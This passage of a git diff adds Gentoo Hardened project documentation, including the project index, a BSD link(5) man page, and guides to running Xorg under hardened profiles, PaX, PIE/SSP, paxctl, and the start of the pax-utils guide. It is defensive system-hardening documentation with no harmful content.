+<uri>http://www.gentoo.org/doc/en/xorg-config.xml</uri>
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Known Issues</title>
+<section>
+<title>The dlloader Experiences</title>
+<body>
+
+<p>
+Hardened Gentoo makes the default link strategy to resolve all symbols at load time, and enforces
+this on all shared libraries when they are built.  Normally the loader uses "lazy" resolution if requested,
+whereby symbols are resolved as and when they are used.  Unfortunately some Xorg modules have mutual
+dependencies and other issues that mean they cannot load unless lazy symbol resolution is enabled.  To work
+around this issue, currently Gentoo compiles the Xorg modules and the server itself with the -nonow gcc flag.
+This fixes the "dlopen: undefined symbol" errors so previous methods of manually detecting and loading modules are
+no longer needed.
+</p>
+
+<impo>
+Please report all issues to bugs.gentoo.org with full attached
+logs and configs.
+</impo>
+
+</body>
+</section>
+
+<section>
+<title>Binary Drivers</title>
+<body>
+
+<p>
+Binary drivers are currently not supported on the hardened profile and you are encouraged to use the
+opensource drivers instead.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>PaX Flags</title>
+<body>
+
+<p>
+The PaX flags -P (PAGEEXEC), -S (SEGMEXEC), -M (MPROTECT) as well as -R (RANDMMAP) now work with Xorg. 
+</p>
+
+</body>
+</section>
+
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/hardened/index.xml b/xml/htdocs/proj/en/hardened/index.xml
new file mode 100644
index 00000000..d67a42f0
--- /dev/null
+++ b/xml/htdocs/proj/en/hardened/index.xml
@@ -0,0 +1,114 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+<project>
+  <name>hardened</name>
+  <longname>Hardened Gentoo</longname>
+
+  <description>Hardened Gentoo brings advanced security measures to
+  Gentoo Linux.</description>
+
+  <longdescription><p>Hardened Gentoo is a project which oversees the
+  research, implementation, and maintainence of security oriented
+  projects for Gentoo Linux. We are a team of very competent
+  individuals dedicated to bringing advanced security to Gentoo
+  with a number of subprojects.</p></longdescription>
+
+  <goals><p>Hardened Gentoo's purpose is to make Gentoo viable for
+  high security, high stability production server environments.
+  This project is not a standalone project disjoined from Gentoo
+  proper; it is intended to be a team of Gentoo developers which
+  are focused on delivering solutions to Gentoo that provide strong
+  security and stability. These solutions will be available in
+  Gentoo once they've been tested for security and stability by the
+  Hardened team.</p></goals>
+
+  <dev description="SELinux">pebenito</dev>
+  <dev description="PaX/Grsecurity Hardened Toolchain">gengor</dev>
+  <dev description="PaX/Grsecurity Hardened Toolchain">zorry</dev>
+  <dev description="PaX/Grsecurity Hardened Toolchain">blueness</dev>
+  <dev description="Bastille">Battousai</dev>
+  <dev description="PPC arch team liaison">nixnut</dev>
+
+  <subproject ref="/proj/en/hardened/selinux/index.xml" inheritresources="yes" />
+  <subproject ref="/proj/en/hardened/rsbac/index.xml" inheritresources="yes" />
+  <extraproject name="PaX/Grsecurity" lead="gengor">
+  Grsecurity is a complete security solution
+  providing such features as a MAC or RBAC system, Chroot
+  restrictions, address space modification protection (via PaX),
+  auditing features, randomization features, linking restrictions
+  to prevent file race conditions, ipc protections and much more.
+  </extraproject>
+
+  <extraproject name="Hardened Toolchain" lead="gengor">Transparent
+  implementation of 
+  <uri link="http://pax.grsecurity.net/docs/aslr.txt">
+  PaX</uri> address space layout randomizations and stack smashing
+  protections using ELF shared objects as executables.</extraproject>
+
+  <extraproject name="Hardened-Sources" lead="gengor">A kernel which
+  provides patches for hardened subprojects, and stability/security
+  oriented patches. Includes Grsecurity and SELinux.</extraproject>
+
+  <extraproject name="Bastille" lead="Battousai">Bastille is an
+  interactive application which gives the user suggestions on
+  securing their machine. It will be customized to make suggestions
+  about other Hardened Gentoo subprojects.</extraproject>
+
+  <plannedproject name="Security Documentation">Maintain
+  documentation about best practices, and general security measures
+  such as process limiting, setting quotas, securing systems with
+  kerberos, chrooting, tightening services, etc.</plannedproject>
+
+  <resource link="http://www.gentoo.org/proj/en/hardened/primer.xml">
+  Introduction to Hardened Gentoo</resource>
+  <resource link="http://www.gentoo.org/proj/en/hardened/hardenedfaq.xml">
+  Hardened Frequently Asked Questions</resource>
+  <resource link="http://www.gentoo.org/proj/en/hardened/roadmap.xml">
+  Hardened Roadmap</resource>
+  <resource link="http://www.gentoo.org/proj/en/hardened/hardenedxorg.xml">
+  Using Xorg with Hardened</resource>
+  <resource link="http://www.gentoo.org/proj/en/hardened/hardened-toolchain.xml">
+  Hardened Toolchain Technical Description</resource>
+  <resource link="http://www.gentoo.org/proj/en/hardened/pax-quickstart.xml">
+  A quickstart covering PaX and Hardened Gentoo</resource>
+  <resource link="http://www.gentoo.org/proj/en/hardened/pax-utils.xml">
+  PaX Utils</resource>
+  <resource link="http://www.gentoo.org/proj/en/hardened/grsecurity.xml">
+  Grsecurity2 QuickStart Guide</resource>
+  <resource link="http://www.gentoo.org/proj/en/hardened/capabilities.xml">
+  Capabilities Listing</resource>
+  <resource link="http://www.gentoo.org/proj/en/hardened/pic-guide.xml">
+  PIC Intro (beginner)</resource>
+  <resource link="http://www.gentoo.org/proj/en/hardened/pic-internals.xml">
+  PIC Internals (intermediate)</resource>
+  <resource link="http://www.gentoo.org/proj/en/hardened/pic-fix-guide.xml">
+  PIC Fixing (advanced)</resource>
+  <resource link="http://www.gentoo.org/proj/en/hardened/gnu-stack.xml">
+  GNU Stack Quickstart</resource>
+
+  <extrachapter position="bottom">
+    <title>I Want to Participate</title>
+    <section>
+      <body>
+        <p>To participate in the Hardened Gentoo project first join
+        the mailing list at 
+        <c>gentoo-hardened@gentoo.org</c>. Then ask if there are
+        plans to support something that you are interested in,
+        propose a new subproject that you are interested in or
+        choose one of the planned subprojects to work on. You may
+        talk to the developers and users in the IRC channel 
+        <c>#gentoo-hardened</c> on 
+        <c>irc.freenode.net</c> for more information or just to chat
+        about the project or any subprojects. If you don't have the
+        ability to actively help by contributing work we will
+        always need testers to maintain the security and stability
+        of the overall product. All development, testing, and
+        productive comments and feedback will be greatly
+        appreciated.</p>
+      </body>
+    </section>
+  </extrachapter>
+  <herd name="hardened" />
+</project>
diff --git a/xml/htdocs/proj/en/hardened/link.5.html b/xml/htdocs/proj/en/hardened/link.5.html
new file mode 100644
index 00000000..b5b499c7
--- /dev/null
+++ b/xml/htdocs/proj/en/hardened/link.5.html
@@ -0,0 +1,449 @@
+<html>
+<head><title>link(5) man page</title></head>
+<body>
+<pre>
+LINK(5)                     BSD File Formats Manual                    LINK(5)
+
+NAME
+     link -- dynamic loader and link editor interface
+
+SYNOPSIS
+     #include &lt;link.h&gt;
+
+DESCRIPTION
+     The include file &lt;link.h&gt; declares several structures that are present in
+     dynamically linked programs and libraries.  The structures define the
+     interface between several components of the link-editor and loader mecha-
+     nism.  The layout of a number of these structures within the binaries
+     resembles the a.out(5) format in many places as it serves such similar
+     functions as symbol definitions (including the accompanying string table)
+     and relocation records needed to resolve references to external entities.
+
+     It also records a number of data structures unique to the dynamic loading
+     and linking process.  These include references to other objects that are
+     required to complete the link-editing process and indirection tables to
+     facilitate Position Independent Code (PIC) to improve sharing of code
+     pages among different processes.
+
+     The collection of data structures described here will be referred to as
+     the Run-time Relocation Section (RRS) and is embedded in the standard
+     text and data segments of the dynamically linked program or shared object
+     image as the existing a.out(5) format offers no room for it elsewhere.
+
+     Several utilities cooperate to ensure that the task of getting a program
+     ready to run can complete successfully in a way that optimizes the use of
+     system resources.  The compiler emits PIC code from which shared
+     libraries can be built by ld(1).  The compiler also includes size infor-
+     mation of any initialized data items through the .size assembler direc-
+     tive.
+
+     PIC code differs from conventional code in that it accesses data vari-
+     ables through an indirection table, the Global Offset Table, by conven-
+     tion accessible by the reserved name _GLOBAL_OFFSET_TABLE_.  The exact
+     mechanism used for this is machine dependent, usually a machine register
+     is reserved for the purpose.  The rational behind this construct is to
+     generate code that is independent of the actual load address.  Only the
+     values contained in the Global Offset Table may need updating at run-time
+     depending on the load addresses of the various shared objects in the
+     address space.
+
+     Likewise, procedure calls to globally defined functions are redirected
+     through the Procedure Linkage Table (PLT) residing in the data segment of
+     the core image.  Again, this is done to avoid run-time modifications to
+     the text segment.
+
+     The linker-editor allocates the Global Offset Table and Procedure Linkage
+     Table when combining PIC object files into an image suitable for mapping
+     into the process address space.  It also collects all symbols that may be
+     needed by the run-time link-editor and stores these along with the
+     image's text and data bits.  Another reserved symbol, _DYNAMIC is used to
+     indicate the presence of the run-time linker structures.  Whenever
+     _DYNAMIC is relocated to 0, there is no need to invoke the run-time link-
+     editor.  If this symbol is non-zero, it points at a data structure from
+     which the location of the necessary relocation- and symbol information
+     can be derived.  This is most notably used by the start-up module, crt0.
+     The _DYNAMIC structure is conventionally located at the start of the data
+     segment of the image to which it pertains.
+
+DATA STRUCTURES
+     The data structures supporting dynamic linking and run-time relocation
+     reside both in the text and data segments of the image they apply to.
+     The text segments contain read-only data such as symbols descriptions and
+     names, while the data segments contain the tables that need to be modi-
+     fied by during the relocation process.
+
+     The _DYNAMIC symbol references a _dynamic structure:
+
+           struct  _dynamic {
+                   int     d_version;
+                   struct  so_debug *d_debug;
+                   union {
+                           struct section_dispatch_table *d_sdt;
+                   } d_un;
+                   struct  ld_entry *d_entry;
+           };
+
+     d_version  This field provides for different versions of the dynamic
+                linking implementation.  The current version numbers under-
+                stood by ld and ld.so are LD_VERSION_SUN (3), which is used by
+                the SunOS 4.x releases, and LD_VERSION_BSD (8), which is cur-
+                rently in use by NetBSD.
+
+     d_un       Refers to a d_version dependent data structure.
+
+     d_debug    this field provides debuggers with a hook to access symbol
+                tables of shared objects loaded as a result of the actions of
+                the run-time link-editor.
+
+     d_entry    this field is obsoleted by CRT interface version CRT_VER-
+                SION_BSD4, and is replaced by the crt_ldentry in crt_ldso.
+
+     The section_dispatch_table structure is the main ``dispatcher'' table,
+     containing offsets into the image's segments where various symbol and
+     relocation information is located.
+
+           struct section_dispatch_table {
+                   struct  so_map *sdt_loaded;
+                   long    sdt_sods;
+                   long    sdt_paths;
+                   long    sdt_got;
+                   long    sdt_plt;
+                   long    sdt_rel;
+                   long    sdt_hash;
+                   long    sdt_nzlist;
+                   long    sdt_filler2;
+                   long    sdt_buckets;
+                   long    sdt_strings;
+                   long    sdt_str_sz;
+                   long    sdt_text_sz;
+                   long    sdt_plt_sz;
+           };
+
+     sdt_loaded  A pointer to the first link map loaded (see below).  This
+                 field is set by ld.so(1) for the benefit of debuggers that
+                 may use it to load a shared object's symbol table.
+
+     sdt_sods    The start of a (linked) list of shared object descriptors
+                 needed by this object.
+
+     sdt_paths   Library search rules.  A colon separated list of directories
+                 corresponding to the -R option of ld(1).
+
+     sdt_got     The location of the Global Offset Table within this image.
+
+     sdt_plt     The location of the Procedure Linkage Table within this
+                 image.
+
+     sdt_rel     The location of an array of relocation_info structures (see
+                 a.out(5)) specifying run-time relocations.
+
+     sdt_hash    The location of the hash table for fast symbol lookup in this
+                 object's symbol table.
+
+     sdt_nzlist  The location of the symbol table.
+
+     sdt_filler2
+                 Currently unused.
+
+     sdt_buckets
+                 The number of buckets in sdt_hash
+
+     sdt_strings
+                 The location of the symbol string table that goes with
+                 sdt_nzlist.
+
+     sdt_str_sz  The size of the string table.
+
+     sdt_text_sz
+                 The size of the object's text segment.
+
+     sdt_plt_sz  The size of the Procedure Linkage Table.
+
+     A sod structure describes a shared object that is needed to complete the
+     link edit process of the object containing it.  A list of such objects
+     (chained through sod_next) is pointed at by the sdt_sods in the sec-
+     tion_dispatch_table structure.
+
+           struct sod {
+                   long    sod_name;
+                   u_int   sod_library : 1,
+                           sod_unused : 31;
+                   short   sod_major;
+                   short   sod_minor;
+                   long    sod_next;
+           };
+
+     sod_name     The offset in the text segment of a string describing this
+                  link object.
+
+     sod_library  If set, sod_name specifies a library that is to be searched
+                  for by ld.so.  The path name is obtained by searching a set
+                  of directories (see also ldconfig(8)) for a shared object
+                  matching lib&lt;sod_name&gt;.so.n.m.  If not set, sod_name should
+                  point at a full path name for the desired shared object.
+
+     sod_major    Specifies the major version number of the shared object to
+                  load.
+
+     sod_minor    Specifies the preferred minor version number of the shared
+                  object to load.
+
+     The run-time link-editor maintains a list of structures called link maps
+     to keep track of all shared objects loaded into a process' address space.
+     These structures are only used at run-time and do not occur within the
+     text or data segment of an executable or shared library.
+
+           struct so_map {
+                   caddr_t som_addr;
+                   char    *som_path;
+                   struct  so_map *som_next;
+                   struct  sod *som_sod;
+                   caddr_t som_sodbase;
+                   u_int   som_write : 1;
+                   struct  _dynamic *som_dynamic;
+                   caddr_t som_spd;
+           };
+
+     som_addr     The address at which the shared object associated with this
+                  link map has been loaded.
+
+     som_path     The full path name of the loaded object.
+
+     som_next     Pointer to the next link map.
+
+     som_sod      The sod structure that was responsible for loading this
+                  shared object.
+
+     som_sodbase  Tossed in later versions the run-time linker.
+
+     som_write    Set if (some portion of) this object's text segment is cur-
+                  rently writable.
+
+     som_dynamic  Pointer to this object's _dynamic structure.
+
+     som_spd      Hook for attaching private data maintained by the run-time
+                  link-editor.
+
+     Symbol description with size.  This is simply an nlist structure with one
+     field (nz_size) added.  Used to convey size information on items in the
+     data segment of shared objects.  An array of these lives in the shared
+     object's text segment and is addressed by the sdt_nzlist field of
+     section_dispatch_table.
+
+           struct nzlist {
+                   struct nlist    nlist;
+                   u_long          nz_size;
+           #define nz_un           nlist.n_un
+           #define nz_strx         nlist.n_un.n_strx
+           #define nz_name         nlist.n_un.n_name
+           #define nz_type         nlist.n_type
+           #define nz_value        nlist.n_value
+           #define nz_desc         nlist.n_desc
+           #define nz_other        nlist.n_other
+           };
+
+     nlist    (see nlist(3)).
+
+     nz_size  The size of the data represented by this symbol.
+
+     A hash table is included within the text segment of shared object to
+     facilitate quick lookup of symbols during run-time link-editing.  The
+     sdt_hash field of the section_dispatch_table structure points at an array
+     of rrs_hash structures:
+
+           struct rrs_hash {
+                   int     rh_symbolnum;           /* symbol number */
+                   int     rh_next;                /* next hash entry */
+           };
+
+     rh_symbolnum  The index of the symbol in the shared object's symbol table
+                   (as given by the ld_symbols field).
+
+     rh_next       In case of collisions, this field is the offset of the next
+                   entry in this hash table bucket.  It is zero for the last
+                   bucket element.
+     The rt_symbol structure is used to keep track of run-time allocated com-
+     mons and data items copied from shared objects.  These items are kept on
+     linked list and is exported through the dd_cc field in the so_debug
+     structure (see below) for use by debuggers.
+
+           struct rt_symbol {
+                   struct nzlist           *rt_sp;
+                   struct rt_symbol        *rt_next;
+                   struct rt_symbol        *rt_link;
+                   caddr_t                 rt_srcaddr;
+                   struct so_map           *rt_smp;
+           };
+
+     rt_sp       The symbol description.
+
+     rt_next     Virtual address of next rt_symbol.
+
+     rt_link     Next in hash bucket.  Used by internally by ld.so.
+
+     rt_srcaddr  Location of the source of initialized data within a shared
+                 object.
+
+     rt_smp      The shared object which is the original source of the data
+                 that this run-time symbol describes.
+
+     The so_debug structure is used by debuggers to gain knowledge of any
+     shared objects that have been loaded in the process's address space as a
+     result of run-time link-editing.  Since the run-time link-editor runs as
+     a part of process initialization, a debugger that wishes to access sym-
+     bols from shared objects can only do so after the link-editor has been
+     called from crt0.  A dynamically linked binary contains a so_debug struc-
+     ture which can be located by means of the d_debug field in _dynamic.
+
+           struct  so_debug {
+                   int     dd_version;
+                   int     dd_in_debugger;
+                   int     dd_sym_loaded;
+                   char    *dd_bpt_addr;
+                   int     dd_bpt_shadow;
+                   struct rt_symbol *dd_cc;
+           };
+
+     dd_version      Version number of this interface.
+
+     dd_in_debugger  Set by the debugger to indicate to the run-time linker
+                     that the program is run under control of a debugger.
+
+     dd_sym_loaded   Set by the run-time linker whenever it adds symbols by
+                     loading shared objects.
+
+     dd_bpt_addr     The address were a breakpoint will be set by the run-time
+                     linker to divert control to the debugger.  This address
+                     is determined by the start-up module, crt0.o, to be some
+                     convenient place before the call to _main.
+
+     dd_bpt_shadow   Contains the original instruction that was at
+                     dd_bpt_addr.  The debugger is expected to put this
+                     instruction back before continuing the program.
+
+     dd_cc           A pointer to the linked list of run-time allocated sym-
+                     bols that the debugger may be interested in.
+
+     The ld_entry structure defines a set of service routines within ld.so.
+     See dlfcn(3) for more information.
+
+           struct ld_entry {
+                   void    *(*dlopen)(char *, int);
+                   int     (*dlclose)(void *);
+                   void    *(*dlsym)(void *, char *);
+                   int     (*dlctl)(void *, int, void *);
+                   void    (*dlexit)(void);
+           };
+
+     The crt_ldso structure defines the interface between ld.so and the start-
+     up code in crt0.
+
+           struct crt_ldso {
+                   int             crt_ba;
+                   int             crt_dzfd;
+                   int             crt_ldfd;
+                   struct _dynamic *crt_dp;
+                   char            **crt_ep;
+                   caddr_t         crt_bp;
+                   char            *crt_prog;
+                   char            *crt_ldso;
+                   char            *crt_ldentry;
+           };
+           #define CRT_VERSION_SUN         1
+           #define CRT_VERSION_BSD2        2
+           #define CRT_VERSION_BSD3        3
+           #define CRT_VERSION_BSD4        4
+
+     crt_ba    The virtual address at which ld.so was loaded by crt0.
+
+     crt_dzfd  On SunOS systems, this field contains an open file descriptor
+               to ``/dev/zero'' used to get demand paged zeroed pages.  On
+               NetBSD systems it contains -1.
+
+     crt_ldfd  Contains an open file descriptor that was used by crt0 to load
+               ld.so.
+
+     crt_dp    A pointer to main's _dynamic structure.
+
+     crt_ep    A pointer to the environment strings.
+
+     crt_bp    The address at which a breakpoint will be placed by the run-
+               time linker if the main program is run by a debugger.  See
+               so_debug
+
+     crt_prog  The name of the main program as determined by crt0 (CRT_VER-
+               SION_BSD3 only).
+
+     crt_ldso  The path of the run-time linker as mapped by crt0 (CRT_VER-
+               SION_BSD4 only).
+
+     crt_ldentry
+               The dlfcn(3) entry points provided by the run-time linker
+               (CRT_VERSION_BSD4 only).
+
+     The hints_header and hints_bucket structures define the layout of the
+     library hints, normally found in ``/var/run/ld.so.hints'', which is used
+     by ld.so to quickly locate the shared object images in the file system.
+     The organization of the hints file is not unlike that of an a.out(5)
+     object file, in that it contains a header determining the offset and size
+     of a table of fixed sized hash buckets and a common string pool.
+
+           struct hints_header {
+                   long            hh_magic;
+           #define HH_MAGIC        011421044151
+                   long            hh_version;
+           #define LD_HINTS_VERSION_1      1
+           #define LD_HINTS_VERSION_2      2
+                   long            hh_hashtab;
+                   long            hh_nbucket;
+                   long            hh_strtab;
+                   long            hh_strtab_sz;
+                   long            hh_ehints;
+                   long            hh_dirlist;
+           };
+
+     hh_magic      Hints file magic number.
+
+     hh_version    Interface version number.
+
+     hh_hashtab    Offset of hash table.
+
+     hh_strtab     Offset of string table.
+
+     hh_strtab_sz  Size of strings.
+
+     hh_ehints     Maximum usable offset in hints file.
+
+     hh_dirlist    Offset in string table of a colon-separated list of direc-
+                   tories that was used in constructing the hints file.  See
+                   also ldconfig(8).  This field is only available with inter-
+                   face version number LD_HINTS_VERSION_2 and higher.
+
+           /*
+            * Hash table element in hints file.
+            */
+           struct hints_bucket {
+                   int             hi_namex;
+                   int             hi_pathx;
+                   int             hi_dewey[MAXDEWEY];
+                   int             hi_ndewey;
+           #define hi_major hi_dewey[0]
+           #define hi_minor hi_dewey[1]
+                   int             hi_next;
+           };
+
+     hi_namex   Index of the string identifying the library.
+
+     hi_pathx   Index of the string representing the full path name of the
+                library.
+
+     hi_dewey   The version numbers of the shared library.
+
+     hi_ndewey  The number of valid entries in hi_dewey.
+
+     hi_next    Next bucket in case of hashing collisions.
+
+BSD                            October 23, 1993                            BSD
+</pre>
+</body>
+</html>
diff --git a/xml/htdocs/proj/en/hardened/pax-quickstart.xml b/xml/htdocs/proj/en/hardened/pax-quickstart.xml
new file mode 100644
index 00000000..8ad18b6a
--- /dev/null
+++ b/xml/htdocs/proj/en/hardened/pax-quickstart.xml
@@ -0,0 +1,297 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/hardened/pax-quickstart.xml,v 1.12 2007/11/11 17:08:51 solar Exp $ -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/hardened/pax-quickstart.xml">
+<title>Hardened Gentoo PaX Quickstart</title>
+
+<author title="Author">
+  <mail link="tseng@gentoo.org">Brandon Hale</mail>
+</author>
+<author title="Editor">
+  <mail link="blackace@gentoo.org">Blackace</mail>
+</author>
+<author title="Editor">
+  <mail link="solar@gentoo.org">solar</mail>
+</author>
+
+<abstract>
+A quickstart covering PaX and Hardened Gentoo.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.0 -->
+<license/>
+
+<version>1.4</version>
+<date>2007-09-11</date>
+
+<chapter>
+<title>What is Hardened Gentoo?</title>
+<section>
+<body>
+
+<p>
+Hardened Gentoo is a project interested in the hardening of a Gentoo system.
+Several different solutions are supported by us and there is a fair bit of
+flexibility to create your own setup. At the heart of a common Hardened Gentoo 
+setup is <e>PaX</e>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>What is PaX?</title>
+<section>
+<body>
+
+<p>
+PaX is a patch to the Linux kernel that provides hardening in two ways.
+</p>
+
+<p>
+The first, <e>ASLR</e> (Address Space Layout Randomization) provides a means to
+randomize the addressing scheme of all data loaded into memory. When an
+application is built as a <e>PIE</e> (Position Independent Executable), PaX is
+able to also randomize the addresses of the application base in addition.
+</p>
+
+<p>
+The second protection provided by PaX is non-executable memory. This prevents a
+common form of attack where executable code is inserted into memory by an
+attacker. More information on PaX can be found throughout this guide, but the
+homepage can be found at <uri>http://pax.grsecurity.net</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>An Introduction to PIE and SSP</title>
+<section>
+<body>
+
+<p>
+As mentioned above, PaX is complemented by PIE. This method of building
+executables stores information needed to relocate parts of the executable in
+memory, hence the name <e>Position Independent</e>.
+</p>
+
+<p>
+<e>SSP</e> (Stack Smashing Protector) is a second complementary technology we
+introduce at executable build time. SSP was originally introduced by IBM under
+the name <e>ProPolice</e>. It modifies the C compiler to insert initialization 
+code into functions that create a buffer in memory. 
+</p>
+
+<note>
+In newer versions of SSP, it is possible to apply SSP to all functions,
+adding protection to functions whose buffer would normally be below the size 
+limit for SSP. This is enabled via the CFLAG -fstack-protector-all.
+</note>
+
+<p>
+At run time, when a buffer is created, SSP adds a secret random value, the 
+canary, to the end of the buffer. When the function returns, SSP makes sure 
+that the canary is still intact. If an attacker were to perform a buffer 
+overflow, he would overwrite this value and trigger that stack smashing 
+handler. Currently this kills the target process.
+</p>
+
+<p>
+<uri link="http://www.trl.ibm.com/projects/security/ssp/">Further reading on 
+SSP.</uri>
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Building a PaX-enabled Kernel</title>
+<section>
+<body>
+
+<p>
+Several Gentoo kernel trees are already patched with PaX.
+</p>
+
+<p>
+For 2.4/2.6 based machines, the recommended kernels are <c>hardened-sources</c>
+</p>
+
+<p>
+Grab one of the recommended source trees, or apply the appropriate patch from
+<uri>http://pax.grsecurity.net</uri> to your own tree and configure it as you
+normally would for the target machine.
+</p>
+
+<p>
+In <c>Security Options -&gt; PaX</c>, apply the options as shown below.
+</p>
+
+<pre caption="Kernel configuration">
+[*] Enable various PaX features
+
+PaX Control -&gt;
+
+ [ ] Support soft mode
+ [*] Use legacy ELF header marking
+ [*] Use ELF program header marking
+     MAC system integration (none)  ---&gt;
+
+Non-executable page -&gt;
+
+ [*] Enforce non-executable pages
+ [*]   Paging based non-executable pages
+ [*]   Segmentation based non-executable pages
+ [*] Emulate trampolines
+ [*] Restrict mprotect()
+ [ ]   Disallow ELF text relocations
+
+Address Space Layout Randomization -&gt;
+
+ [*] Address Space Layout Randomization
+ [*]   Randomize kernel stack base
+ [*]   Randomize user stack base
+ [*]   Randomize mmap() base
+ [*]     Randomize ET_EXEC base
+</pre>
+
+<p>
+Build this kernel as you normally would and install it to <path>/boot</path>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Building a PIE/SSP Enabled Userland</title>
+<section>
+<body>
+
+<p>
+Hardened Gentoo has added support for transparent PIE/SSP building via GCC's
+specfile. This means that any users upgrading an older Hardened install should
+remove any LDFLAGS or CFLAGS used to trigger PIE/SSP. Also, the 
+<c>hardened-gcc</c> package is now deprecated and should be unmerged 
+(version 5.0 is a dummy package). To get the current GCC, add 
+<c>USE="hardened pic"</c> to <path>/etc/make.conf</path> if not using the hardened
+profile.
+</p>
+
+<p>
+To maintain a consistant toolchain, first <c>emerge binutils gcc virtual/libc</c>.
+Next, rebuild the entire system with <c>emerge -e world</c>. All future packages
+will be built with PIE/SSP.
+</p>
+
+<warn>
+Both PIE and SSP are known to cause issues with some packages. If you come
+across a package that fails to compile, please file a detailed bug report including 
+a log of the failed compile and the output of <c>emerge info</c> to
+<uri>http://bugs.gentoo.org/</uri>.
+</warn>
+
+<p>
+You will probably also want to merge pax-utils.
+Often if an ELF has executable relocations in the text segment these can cause problems for us.
+scanelf -BRylptq
+</p>
+
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>When Things Misbehave (PaX Control)</title>
+<section>
+<body>
+
+<p>
+Some legitimate applications will attempt to generate code at run time which is
+executed out of memory. Naturally, PaX does not allow this and it will promptly
+kill the offending application.
+</p>
+
+<note>
+The most notable of these applications are XFree/Xorg, mplayer and multimedia tools
+based on xine-lib. The easiest way around these problems are to disable PaX
+protections.
+</note>
+
+<p>
+Luckily there is a utility to toggle protections on a per-executable basis,
+<e>paxctl</e>. As with any other package in Gentoo, install paxctl with the
+command <c>emerge paxctl</c>. Usage is show by <c>paxctl -h</c>.
+</p>
+
+<note>
+If you have an older version of binutils, you will need to use <e>chpax</e>,
+which edits the old-style PaX markings. Usage of chpax is largely the same as
+paxctl. This also requires legacy marking support built into your kernel.
+New versions of paxctl make chpax obsolete.
+</note>
+
+<pre caption="paxctl -h">
+usage: paxctl &lt;options&gt; &lt;files&gt;
+
+options:
+        -p: disable PAGEEXEC            -P: enable PAGEEXEC
+        -e: disable EMUTRMAP            -E: enable EMUTRMAP
+        -m: disable MPROTECT            -M: enable MPROTECT
+        -r: disable RANDMMAP            -R: enable RANDMMAP
+        -x: disable RANDEXEC            -X: enable RANDEXEC
+        -s: disable SEGMEXEC            -S: enable SEGMEXEC
+
+        -v: view flags                  -z: restore default flags
+        -q: suppress error messages     -Q: report flags in short format flags
+</pre>
+
+<p>
+The first option we will note is <c>-v</c>, which can display flags set on a
+particular binary.
+</p>
+
+<pre caption="paxctl -v">
+shell user # paxctl -v /usr/bin/Xorg
+PaX control v0.2
+Copyright 2004 PaX Team &lt;pageexec@freemail.hu&gt;
+
+- PaX flags: -p-sM--x-eR- [/usr/bin/Xorg]
+        PAGEEXEC is disabled
+        SEGMEXEC is disabled
+        MPROTECT is enabled
+        RANDEXEC is disabled
+        EMUTRAMP is disabled
+        RANDMMAP is enabled
+</pre>
+
+<p>
+This shows an XFree binary with all protections disabled.
+</p>
+
+<p>
+To set flags on a binary, the <c>-z</c> flag is useful as it restores the
+default flags.
+</p>
+
+<p>
+To disable protections on Xorg, run
+<c>paxctl -zpeMRxs /usr/bin/Xorg</c>.
+</p>
+
+<p>
+Play around with disabling/enabling protections to see what is the least needed
+to run. Often we find that we need the -m -sp combos.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/hardened/pax-utils.xml b/xml/htdocs/proj/en/hardened/pax-utils.xml
new file mode 100644
index 00000000..39a3a9d5
--- /dev/null
+++ b/xml/htdocs/proj/en/hardened/pax-utils.xml
@@ -0,0 +1,756 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/hardened/pax-utils.xml,v 1.9 2010/08/30 03:01:13 nightmorph Exp $ -->
+
+<guide>
+<title>Gentoo PaX Utilities</title>
+
+<author title="Author">
+  <mail link="swift"/>
+</author>
+<author title="Editor">
+  <mail link="solar"/>
+</author>
+<author title="Editor">
+  <mail link="nightmorph"/>
+</author>
+
+<abstract>
+This guide provides instruction on securing your system by using the pax-utils
+package to find and identify problematic binaries.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.0 -->
+<license/>
+
+<version>2</version>
+<date>2010-08-29</date>
+
+<chapter>
+<title>What is this guide about?</title>
+<section>
+<title>Introduction</title>
+<body>
+
+<p>
+The security of a system goes beyond setting up a decent firewall and good 
+service configurations. The binaries you run, the libraries you load, might 
+also be vulnerable against attacks. Although the exact vulnerabilities are not 
+known until they are discovered, there are ways to prevent them from happening.
+</p>
+
+<p>
+One possible attack vector is to make advantage of writable <e>and</e>
+executable segments in a program or library, allowing malicious users to run
+their own code using the vulnerable application or library.
+</p>
+
+<p>
+This guide will inform you how to use the <c>pax-utils</c> package to find
+and identify problematic binaries. We will also cover the use of <c>pspax</c> (a
+tool to view PaX-specific capabilities) and <c>dumpelf</c> (a tool that prints
+out a C structure containing a workable copy of a given object).
+</p>
+
+<p>
+But before we start with that, some information on <e>objects</e> is in place.
+Users familiar with segments and dynamic linking will not learn anything from
+this and can immediately continue with <uri link="#scanelf">Extracting ELF
+Information from Binaries</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>ELF objects</title>
+<body>
+
+<p>
+Every executable binary on your system is structured in a specific way,
+allowing the Linux kernel to load and execute the file. Actually, this goes 
+beyond plain executable binaries: this also holds for shared objects; more 
+about those later.
+</p>
+
+<p>
+The structure of such a binary is defined in the ELF standard. ELF stands for
+<e>Executable and Linkable Format</e>. If you are really interested in the gory
+details, check out the <uri
